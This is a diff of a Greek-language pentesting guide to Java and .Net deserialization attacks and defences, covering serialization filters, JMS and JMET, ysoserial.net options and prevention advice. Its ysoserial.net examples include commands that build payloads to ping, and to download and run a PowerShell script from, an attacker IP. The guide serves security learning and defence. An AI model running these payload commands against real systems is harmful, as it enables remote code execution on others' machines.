Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**Εφαρμογή Φίλτρων Σειριοποίησης**: Η Java 9 εισήγαγε φίλτρα σειριοποίησης μέσω της διεπαφής **`ObjectInputFilter`**, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα σειριοποιημένα αντικείμενα πριν αποσειριοποιηθούν. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, προσφέροντας λεπτομερή έλεγχο στη διαδικασία αποσειριοποίησης. +**Implementing Serialization Filters**: Η Java 9 εισήγαγε serialization filters μέσω του interface **`ObjectInputFilter`**, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα serialized αντικείμενα προτού γίνουν deserialized. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά stream, προσφέροντας λεπτομερή έλεγχο στη διαδικασία deserialization. -Για να χρησιμοποιήσετε φίλτρα σειριοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που εφαρμόζεται σε όλες τις λειτουργίες αποσειριοποίησης ή να το ρυθμίσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα: +Για να χρησιμοποιήσετε serialization filters, μπορείτε να ορίσετε ένα global filter που εφαρμόζεται σε όλες τις deserialization operations ή να το διαμορφώσετε δυναμικά για συγκεκριμένα streams. Για παράδειγμα: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth @@ -622,29 +636,30 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης. +**Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Ενισχυμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize**, και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσειριοποίησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν πρόσθετα επίπεδα ασφάλειας, όπως whitelisting ή blacklisting κλάσεων, ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσειριοποίηση, και υλοποίηση προσαρμοσμένων στρατηγικών serialization. -- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυμπίεσης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα. -- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυμπιέσει, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου. -- **Kryo** είναι ένα εναλλακτικό πλαίσιο σειριοποίησης που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές σειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια. +- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσειριοποίησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα. +- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων Java αντικειμένων χωρίς να τα αποσειριοποιεί, βοηθώντας στον εντοπισμό πιθανώς κακόβουλου περιεχομένου. +- **Kryo** είναι ένα εναλλακτικό serialization framework που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές serialization που μπορούν να ενισχύσουν την ασφάλεια. ### Αναφορές - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- Deserialization και ysoserial ομιλία: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- Ομιλία για gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) και διαφάνειες: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -- Marshalsec έγγραφο: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Java και .Net JSON deserialization **έγγραφο:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI Injection & log4Shell -Βρείτε τι είναι το **JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell** (και παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα: +Βρείτε τι είναι **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (και παράδειγμα αυτής της vuln) στην παρακάτω σελίδα: + {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -652,7 +667,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Message Service -> Η **Java Message Service** (**JMS**) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> Η **Java Message Service** (**JMS**) API είναι ένα Java message-oriented middleware API για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων clients. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος producer–consumer. Το JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE), και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε στη Sun Microsystems, αλλά έκτοτε καθοδηγείται από τη Java Community Process. Είναι ένα πρότυπο messaging που επιτρέπει στα components εφαρμογών βασισμένων σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών components μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Προϊόντα @@ -664,59 +679,59 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### Εκμετάλλευση -Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\ -Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**. +Ουσιαστικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, εάν έχετε **αρκετά προνόμια** για να στέλνετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα credentials) θα μπορούσατε να είστε σε θέση να στείλετε **κακόβουλα σειριοποιημένα αντικείμενα που θα αποσειριοποιηθούν από τον consumer/subscriber**.\ +Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **clients που πρόκειται να χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**. -Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυμπιέζει ανασφαλώς την είσοδο του χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια. +Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσειριοποιεί ανασφαλώς είσοδο χρήστη) εξακολουθεί να χρειάζεται να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια. -Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας αρκετά κακόβουλα αντικείμενα που έχουν σειριοποιηθεί χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή. +Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα σειριοποιημένα αντικείμενα χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία εξακολουθεί να είναι ευάλωτη και εάν οποιοδήποτε από τα χρησιμοποιημένα gadgets βρίσκεται μέσα στην ευάλωτη εφαρμογή. ### Αναφορές - [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) -- Ομιλία JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -- Διαφάνειες: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) +- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net -Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυμπίεσης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά τη διάρκεια της αποσυμπίεσης ενός αντικειμένου. +Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσειριοποίησης λειτουργούν με τρόπο παρόμοιο με εκείνον στη Java, όπου gadgets αξιοποιούνται για να τρέξουν συγκεκριμένο κώδικα κατά την αποσειριοποίηση ενός αντικειμένου. -### Δακτυλοσκόπηση +### Αναγνώριση #### WhiteBox -Ο πηγαίος κώδικας θα πρέπει να ελεγχθεί για περιπτώσεις των: +Ο πηγαίος κώδικας πρέπει να ελεγχθεί για εμφανίσεις των: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Η προσοχή θα πρέπει να εστιάζεται σε σειριοποιητές που επιτρέπουν τον προσδιορισμό του τύπου από μια μεταβλητή υπό τον έλεγχο του χρήστη. +Η εστίαση θα πρέπει να είναι σε serializers που επιτρέπουν ο τύπος να καθορίζεται από μια μεταβλητή υπό τον έλεγχο του χρήστη. #### BlackBox -Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`. +Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή σε οποιοδήποτε παρόμοιο πρότυπο που μπορεί να υποβληθεί σε αποσειριοποίηση στο server-side, δίνοντας τον έλεγχο πάνω στον τύπο που θα αποσειριοποιηθεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, **JSON** ή **XML** δομές που έχουν `TypeObject` ή `$type`. ### ysoserial.net -Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) προκειμένου να **δημιουργήσετε τις εκμεταλλεύσεις αποσυμπίεσης**. Αφού κατεβάσετε το git repository θα πρέπει να **συγκεντρώσετε το εργαλείο** χρησιμοποιώντας το Visual Studio για παράδειγμα. +Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) για να **δημιουργήσετε τα exploits αποσειριοποίησης**. Αφού κατεβάσετε το repository, πρέπει να **συμπιέσετε/μεταγλωττίσετε** το εργαλείο χρησιμοποιώντας το Visual Studio για παράδειγμα. -Αν θέλετε να μάθετε για **πώς δημιουργεί το ysoserial.net την εκμετάλλευσή του** μπορείτε να [**ελέγξετε αυτή τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). -Οι κύριες επιλογές του **ysoserial.net** είναι: **`--gadget`**, **`--formatter`**, **`--output`** και **`--plugin`.** +Οι βασικές επιλογές του **ysoserial.net** είναι: **`--gadget`**, **`--formatter`**, **`--output`** και **`--plugin`.** -- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυμπίεση για να εκτελέσει εντολές). -- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυμπιέσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε) -- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργήσει πάντα)._ -- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαίσια** όπως το ViewState +- **`--gadget`** χρησιμοποιείται για να δηλώσει το gadget που θα καταχραστείτε (να υποδείξετε την class/function που θα χρησιμοποιηθεί κατά την αποσειριοποίηση για να εκτελέσει εντολές). +- **`--formatter`**, χρησιμοποιείται για να υποδείξετε τη μέθοδο με την οποία θα σειριοποιηθεί το exploit (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το backend για να αποσειριοποιήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε). +- **`--output`** χρησιμοποιείται για να υποδείξετε αν θέλετε το exploit σε **raw** ή **base64** κωδικοποιημένο. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε από ένα linux console μπορεί να έχετε προβλήματα **encoding compatibility** που θα εμποδίσουν το exploit να λειτουργήσει σωστά (στο HTB JSON box το payload δούλεψε τόσο σε UTF-16LE όσο και σε ASCII αλλά αυτό δεν σημαίνει ότι θα δουλεύει πάντα)._ +- **`--plugin`** το ysoserial.net υποστηρίζει plugins για να φτιάξετε **exploits για συγκεκριμένα frameworks** όπως ViewState -#### Περισσότερες παράμετροι ysoserial.net +#### Περισσότερες παράμετροι του ysoserial.net -- `--minify` θα παρέχει ένα **μικρότερο payload** (αν είναι δυνατόν) -- `--raf -f Json.Net -c "anything"` Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν παρεχόμενο formatter (`Json.Net` σε αυτή την περίπτωση) -- `--sf xml` μπορείτε να **υποδείξετε ένα gadget** (`-g`) και το ysoserial.net θα αναζητήσει formatters που περιέχουν "xml" (χωρίς διάκριση πεζών-κεφαλαίων) +- `--minify` θα παρέχει ένα **μικρότερο payload** (όπου είναι δυνατό) +- `--raf -f Json.Net -c "anything"` Αυτό θα δείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν δοσμένο formatter (`Json.Net` σε αυτή την περίπτωση) +- `--sf xml` μπορείτε να **υποδείξετε ένα gadget** (`-g`) και το ysoserial.net θα ψάξει για formatters που περιέχουν "xml" (case insensitive) -**Παραδείγματα ysoserial** για τη δημιουργία εκμεταλλεύσεων: +**ysoserial examples** to create exploits: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -734,9 +749,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` -**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\ -Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\ -Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): +**ysoserial.net** έχει επίσης μία **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσεις καλύτερα πώς λειτουργεί κάθε exploit: `--test`\ +Αν δηλώσεις αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** το **exploit τοπικά,** ώστε να μπορείς να ελέγξεις αν το payload σου θα λειτουργήσει σωστά.\ +Αυτή η παράμετρος είναι χρήσιμη γιατί αν εξετάσεις τον κώδικα θα βρεις κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { @@ -750,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err); } } ``` -Αυτό σημαίνει ότι προκειμένου να δοκιμαστεί η εκμετάλλευση, ο κώδικας θα καλέσει [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) +Αυτό σημαίνει ότι, για να δοκιμαστεί το exploit, ο κώδικας θα καλέσει [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) ```java public static object JsonNet_deserialize(string str) { @@ -761,46 +776,46 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\ -Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσυμπίεσης που μπορεί να δημιουργήσει το **ysoserial.net**. +Στον προηγούμενο κώδικα υπάρχει ευπάθεια στο exploit που δημιουργήθηκε. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανότατα και αυτή η εφαρμογή είναι ευάλωτη. +Επομένως η παράμετρος **`--test`** μας επιτρέπει να καταλάβουμε **ποια τμήματα κώδικα είναι ευάλωτα** στο desrialization exploit που μπορεί να δημιουργήσει το **ysoserial.net**. ### ViewState -Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.** +Δείτε αυτό το [POST σχετικά με **το πώς να επιχειρήσετε να exploit την παράμετρο __ViewState του .Net**](exploiting-__viewstate-parameter.md) για να **execute arbitrary code.** Αν **γνωρίζετε ήδη τα secrets** που χρησιμοποιεί η μηχανή-θύμα, [**διαβάστε αυτή την ανάρτηση για το πώς να execute code**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Prevention -Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση σε .Net: +Για να μετριάσετε τους κινδύνους που σχετίζονται με τη deserialization στο .Net: -- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν. -- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None` -- **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.** -- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας. -- **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί. -- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυμπίεσης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα. -- **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`. -- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσυμπίεσης** εντός του .Net και διασφαλίστε ότι οι αποσυμπιεστές δεν δημιουργούν τέτοιους τύπους. -- **Απομονώστε τον ενδεχομένως επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων. +- **Αποφύγετε να επιτρέπετε σε streams δεδομένων να καθορίζουν τους τύπους αντικειμένων.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν. +- **Για `JSON.Net`, ορίστε `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None` +- **Αποφύγετε τη χρήση `JavaScriptSerializer` με `JavaScriptTypeResolver`.** +- **Περιορίστε τους τύπους που μπορούν να deserialized**, κατανοώντας τους εγγενείς κινδύνους με τύπους του .Net, όπως `System.IO.FileInfo`, που μπορούν να τροποποιήσουν ιδιότητες αρχείων στον server, ενδεχομένως οδηγώντας σε denial of service attacks. +- **Να είστε προσεκτικοί με τύπους που έχουν επικίνδυνες ιδιότητες**, όπως `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί. +- **Ελέγξτε με ασφάλεια την instantation τύπων** ώστε να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία deserialization, καθιστώντας ακόμα και `DataContractSerializer` ή `XmlSerializer` ευάλωτα. +- **Εφαρμόστε white list έλεγχο** χρησιμοποιώντας έναν custom `SerializationBinder` για `BinaryFormatter` και `JSON.Net`. +- **Μείνετε ενημερωμένοι για γνωστά insecure deserialization gadgets** στο .Net και βεβαιωθείτε ότι οι deserializers δεν instantiate τέτοιους τύπους. +- **Απομονώστε πιθανώς επικίνδυνο κώδικα** από κώδικα με πρόσβαση στο internet για να αποφύγετε την έκθεση γνωστών gadgets, όπως `System.Windows.Data.ObjectDataProvider` σε WPF 